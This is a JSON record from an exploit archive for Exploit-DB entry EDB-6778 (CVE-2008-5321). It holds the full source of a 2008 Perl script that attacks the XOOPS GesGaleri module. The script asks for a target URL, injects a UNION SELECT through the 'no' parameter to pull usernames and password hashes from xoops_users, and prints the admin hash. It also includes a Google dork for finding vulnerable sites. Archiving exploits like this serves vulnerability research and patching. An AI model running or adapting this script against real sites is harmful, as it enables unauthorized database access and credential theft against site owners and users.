{"exploit":{"id":"EDB-6778","name":"XOOPS Module GesGaleri - SQL Injection (SQLi)","description":"XOOPS Module GesGaleri - SQL Injection (SQLi)","cves":["CVE-2008-5321"],"author":"EcHoLL","published":"2008-10-18","platform":"php","type":"webapps","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/6778","path":"exploits/php/webapps/6778.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-6778.pl","vulnerabilities":[{"id":"CVE-2008-5321","state":"PUBLISHED","title":null,"titleSource":null,"description":"SQL injection vulnerability in index.php in GesGaleri, a module for XOOPS, allows remote attackers to execute arbitrary SQL commands via the no parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-5321","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-5321"},"updatedAt":"2024-08-07T10:49:12.235Z","retrievedAt":"2026-11-27T11:11:40.657Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-6778.png?v=2","url":"https://exploitbin.com/exploits/EDB-6778","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-6778/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-6778/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl -w\n\n\n#Xoops GesGaleri Sql injection#\n########################################\n#[~] Author :  EcHoLL\n#[~] www.warezturk.org www.tahribat.com\n#[~] Greetz : Black_label TURK Godlike\n\n#[!] Module_Name:  GesGaleri\n#[!] Script_Name:  XOOPS\n#[!] Google_Dork:  inurl:\"/modules/GesGaleri/\"\n########################################\n\n\nsystem(\"color FF0000\");\nsystem(\"Nohacking\");\nprint \"\\t\\t-------------------------------------------------------------\\n\\n\";\nprint \"\\t\\t|                 Turkish Securtiy Team                      |\\n\\n\";\nprint \"\\t\\t-------------------------------------------------------------\\n\\n\";\nprint \"\\t\\t|XOOPS Module GesGaleri(index.php kategorino)Remote SQL Injection Vuln|\\n\\n\";\nprint \"\\t\\t|   Coded by: EcHoLL     www.warezturk.org               |\\n\\n\";\nprint \"\\t\\t-------------------------------------------------------------\\n\\n\";\n\nuse LWP::UserAgent;\n\nprint \"\\nSite ismi Target page:[http://wwww.site.com/path/]: \";\n chomp(my $target=<STDIN>);\n\n$column_name=\"concat(uname,0x3a,pass)\";\n$table_name=\"xoops_users\";\n\n$b = LWP::UserAgent->new() or die \"Could not initialize browser\\n\";\n$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');\n\n$host = $target .   \"/modules/GesGaleri/index.php?kategorino=5&no=15+union+select+1,2,\".$column_name.\"+from/**/\".$table_name.\"--\";\n$res = $b->request(HTTP::Request->new(GET=>$host));\n$answer = $res->content; if ($answer =~/([0-9a-fA-F]{32})/){\n  print \"\\n[+] Admin Hash : $1\\n\\n\";\n  print \"#   Tebrikler Exploit Calisti!  #\\n\\n\";\n}\nelse{print \"\\n[-] Exploit BulunamadÄ±...\\n\";\n}\n\n# milw0rm.com [2008-10-18]","sha256":"3782623430b1761b2275aefe062f36e06ea8fc26ab318b50b0aa2e43907b8ec9","bytes":1592,"fetchedAt":"2026-11-27T11:11:37.503Z","encoding":"utf-8 (display only; download retains original bytes)"}